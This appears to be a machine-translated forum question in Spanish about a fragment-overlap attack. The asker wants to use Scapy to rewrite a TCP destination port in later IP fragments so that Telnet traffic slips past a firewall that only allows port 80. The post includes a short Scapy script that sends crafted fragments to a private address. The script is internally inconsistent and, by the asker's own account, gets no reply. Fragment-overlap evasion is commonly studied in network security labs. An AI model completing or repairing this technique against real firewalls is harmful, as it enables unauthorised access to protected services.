Cómo usar Scapy para sobrescribir una parte de la información del encabezado TCP del primer fragmento, que contenía datos que ¿Se le permitió pasar a través del firewall, con datos maliciosos en fragmentos posteriores?
Por ejemplo: sobrescriba el número de puerto de destino para cambiar el tipo de servicio, es decir, el cambio del puerto 80 (HTTP) al puerto 23 (Telnet) que no podría pasar el enrutador en circunstancias normales.
Quiero sobrescribir el puerto de destino para conectarme al nuevo número de puerto. Y estoy tratando de evitar las restricciones del Firewall en el servidor web remoto que solo permite el tráfico web en 80 puertos.
He usado este código de ejemplo, pero no recibo una respuesta de la máquina de destino:
dstIP=’10.0.2.17’
frag1=IP(dst=dstIP, id=12345, proto=1, frag=0, flags=1)/TCP(dport=80)/ICMP(type=8,
code=0, chksum=0xdce8)
frag2=IP(dst=dstIP, id=12345, proto=1, frag=2, flags=1)/TCP(dport=23)/”ABABABAB”
frag3=IP(dst=dstIP, id=12345, proto=1, frag=1,flags=0)/TCP(dport=23)/”AAAAAAAABABABABACCCCCCCC”
send(frag1)
send(frag2)
send(frag3)